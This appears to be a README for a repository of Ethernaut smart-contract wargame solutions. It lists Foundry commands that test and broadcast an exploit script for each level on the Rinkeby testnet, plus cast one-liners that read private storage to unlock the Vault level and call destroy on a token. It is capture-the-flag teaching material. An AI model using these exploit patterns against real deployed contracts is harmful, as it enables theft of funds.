Ethernaut: https://ethernaut.openzeppelin.com/
Note: All commands below need to be executed in the root of this repository.
Table of Contents
- Common Setup
- Test All Exploit
- 0. Hello Ethernaut
- 1. Fallback
- 2. Fallout
- 3. Coin Flip
- 4. Telephone
- 5. Token
- 6. Delegation
- 7. Force
- 8. Vault
- 9. King
- 10. Re-entrancy
- 11. Elevator
- 12. Privacy
- 13. Gatekeeper One
- 14. Gatekeeper Two
- 15. Naught Coin
- 16. Preservation
- 17. Recovery
- 18. MagicNumber
- 19. Alien Codex
- 20. Denial
- 21. Shop
- 22. Dex
- 23. Dex Two
- 24. Puzzle Wallet
- 25. Motorbike
- 26. DoubleEntryPoint
- 27. Good Samaritan
Execute the following commands:
export PRIVATE_KEY=<PRIVATE KEY>
export RPC_RINKEBY=<RPC RINKEBY>
export FOUNDRY_ETH_RPC_URL=$RPC_RINKEBYforge test --match-path "src/Ethernaut/*"Test
forge test --match-contract HelloEthernautExploitTest -vvvvExploit on chain
forge script HelloEthernautExploitScript -vvvv --private-key $PRIVATE_KEY --fork-url $RPC_RINKEBY --broadcast --sig "run(address)" $INSTANCE_ADDRESSTest
forge test --match-contract FallbackExploitTest -vvvvExploit on chain
forge script FallbackExploitScript -vvvv --private-key $PRIVATE_KEY --fork-url $RPC_RINKEBY --broadcast --sig "run(address)" $INSTANCE_ADDRESSTest
forge test --match-contract FalloutExploitTest -vvvvExploit on chain
forge script FalloutExploitScript -vvvv --private-key $PRIVATE_KEY --fork-url $RPC_RINKEBY --broadcast --sig "run(address)" $INSTANCE_ADDRESSTest
forge test --match-contract CoinFlipExploitTest -vvvvExploit on chain
forge script CoinFlipExploitScript -vvvv --private-key $PRIVATE_KEY --fork-url $RPC_RINKEBY --broadcast --slow --sig "run(address)" $INSTANCE_ADDRESSCommand to work around the bug in foundry-rs/foundry#2489 :
forge script CoinFlipExploitScript -vvvv --private-key $PRIVATE_KEY --fork-url $RPC_RINKEBY --broadcast --slow --sig "run(address)" $INSTANCE_ADDRESS --fork-block-number $(python -c "print($(cast block-number)-10)")Test
forge test --match-contract TelephoneExploitTest -vvvvExploit on chain
forge script TelephoneExploitScript -vvvv --private-key $PRIVATE_KEY --fork-url $RPC_RINKEBY --broadcast --sig "run(address)" $INSTANCE_ADDRESSTest
forge test --match-contract TokenExploitTest -vvvvExploit on chain
forge script TokenExploitScript -vvvv --private-key $PRIVATE_KEY --fork-url $RPC_RINKEBY --broadcast --sig "run(address)" $INSTANCE_ADDRESSTest
forge test --match-contract DelegationExploitTest -vvvvExploit on chain
forge script DelegationExploitScript -vvvv --private-key $PRIVATE_KEY --fork-url $RPC_RINKEBY --broadcast --sig "run(address)" $INSTANCE_ADDRESSTest
forge test --match-contract ForceExploitTest -vvvvExploit on chain
forge script ForceExploitScript -vvvv --private-key $PRIVATE_KEY --fork-url $RPC_RINKEBY --broadcast --sig "run(address)" $INSTANCE_ADDRESSTest
forge test --match-contract VaultExploitTest -vvvvExploit on chain
forge script VaultExploitScript -vvvv --private-key $PRIVATE_KEY --fork-url $RPC_RINKEBY --broadcast --sig "run(address)" $INSTANCE_ADDRESScast command-only one-liner:
cast send --private-key $PRIVATE_KEY $INSTANCE_ADDRESS "unlock(bytes32)" $(cast storage $INSTANCE_ADDRESS 1)Test
forge test --match-contract KingExploitTest -vvvvExploit on chain
forge script KingExploitScript -vvvv --private-key $PRIVATE_KEY --fork-url $RPC_RINKEBY --broadcast --sig "run(address)" $INSTANCE_ADDRESSTest
forge test --match-contract ReentranceExploitTest -vvvvExploit on chain
forge script ReentranceExploitScript -vvvv --private-key $PRIVATE_KEY --fork-url $RPC_RINKEBY --broadcast --sig "run(address)" $INSTANCE_ADDRESSTest
forge test --match-contract ElevatorExploitTest -vvvvExploit on chain
forge script ElevatorExploitScript -vvvv --private-key $PRIVATE_KEY --fork-url $RPC_RINKEBY --broadcast --sig "run(address)" $INSTANCE_ADDRESSTest
forge test --match-contract PrivacyExploitTest -vvvvExploit on chain
forge script PrivacyExploitScript -vvvv --private-key $PRIVATE_KEY --fork-url $RPC_RINKEBY --broadcast --sig "run(address)" $INSTANCE_ADDRESSTest
forge test --match-contract GatekeeperOneExploitTest -vvvvExploit on chain
forge script GatekeeperOneExploitScript -vvvv --private-key $PRIVATE_KEY --fork-url $RPC_RINKEBY --broadcast --sig "run(address)" $INSTANCE_ADDRESSTest
forge test --match-contract GatekeeperTwoExploitTest -vvvvExploit on chain
forge script GatekeeperTwoExploitScript -vvvv --private-key $PRIVATE_KEY --fork-url $RPC_RINKEBY --broadcast --sig "run(address)" $INSTANCE_ADDRESSTest
forge test --match-contract NaughtCoinExploitTest -vvvvExploit on chain
forge script NaughtCoinExploitScript -vvvv --private-key $PRIVATE_KEY --fork-url $RPC_RINKEBY --broadcast --sig "run(address)" $INSTANCE_ADDRESSTest
forge test --match-contract PreservationExploitTest -vvvvExploit on chain
forge script PreservationtExploitScript -vvvv --private-key $PRIVATE_KEY --fork-url $RPC_RINKEBY --broadcast --sig "run(address)" $INSTANCE_ADDRESSExploit on chain
cast send --private-key $PRIVATE_KEY --gas-limit 100000 $INSTANCE_ADDRESS "destroy(address)" <TOKEN ADDRESS>The token address can be easily found in a blockchain explorer.
Exploit written in Huff: https://github.com/minaminao/huff-ethernaut-magic-number
Test
forge test --match-contract MagicNumberExploitTest -vvvvExploit on chain
forge script MagicNumberExploitScript -vvvv --private-key $PRIVATE_KEY --fork-url $RPC_RINKEBY --broadcast --sig "run(address)" $INSTANCE_ADDRESSTest
forge test --match-contract AlienCodexExploitTest -vvvvExploit on chain
forge script AlienCodexExploitScript -vvvv --private-key $PRIVATE_KEY --fork-url $RPC_RINKEBY --broadcast --sig "run(address)" $INSTANCE_ADDRESSTest
forge test --match-contract DenialExploitTest -vvvvExploit on chain
forge script DenialExploitScript -vvvv --private-key $PRIVATE_KEY --fork-url $RPC_RINKEBY --broadcast --sig "run(address)" $INSTANCE_ADDRESSTest
forge test --match-contract ShopExploitTest -vvvvExploit on chain
forge script ShopExploitScript -vvvv --private-key $PRIVATE_KEY --fork-url $RPC_RINKEBY --broadcast --sig "run(address)" $INSTANCE_ADDRESSTest
forge test --match-contract DexExploitTest -vvvvExploit on chain
forge script DexExploitScript -vvvv --private-key $PRIVATE_KEY --fork-url $RPC_RINKEBY --broadcast --sig "run(address)" $INSTANCE_ADDRESSTest
forge test --match-contract DexTwoExploitTest -vvvvExploit on chain
forge script DexTwoExploitScript -vvvv --private-key $PRIVATE_KEY --fork-url $RPC_RINKEBY --broadcast --sig "run(address)" $INSTANCE_ADDRESSTest
forge test --match-contract PuzzleWalletExploitTest -vvvvExploit on chain
forge script PuzzleWalletExploitScript -vvvv --private-key $PRIVATE_KEY --fork-url $RPC_RINKEBY --broadcast --sig "run(address)" $INSTANCE_ADDRESSTest
- Foundry test function cannot detect that the code size has changed to 0.
- Anvil should be able to test it (WIP).
Exploit
forge script MotorbikeExploitScript -vvvv --private-key $PRIVATE_KEY --fork-url $RPC_RINKEBY --broadcast --sig "run(address)" $INSTANCE_ADDRESSTest
forge test --match-contract DoubleEntryPointExploit -vvvvExploit on chain
forge script DoubleEntryPointExploitScript -vvvv --private-key $PRIVATE_KEY --fork-url $RPC_RINKEBY --broadcast --sig "run(address)" $INSTANCE_ADDRESSTest
forge test --match-contract GoodSamaritanExploit -vvvvExploit on chain
forge script GoodSamaritanExploitScript -vvvv --private-key $PRIVATE_KEY --fork-url $RPC_RINKEBY --broadcast --sig "run(address)" $INSTANCE_ADDRESS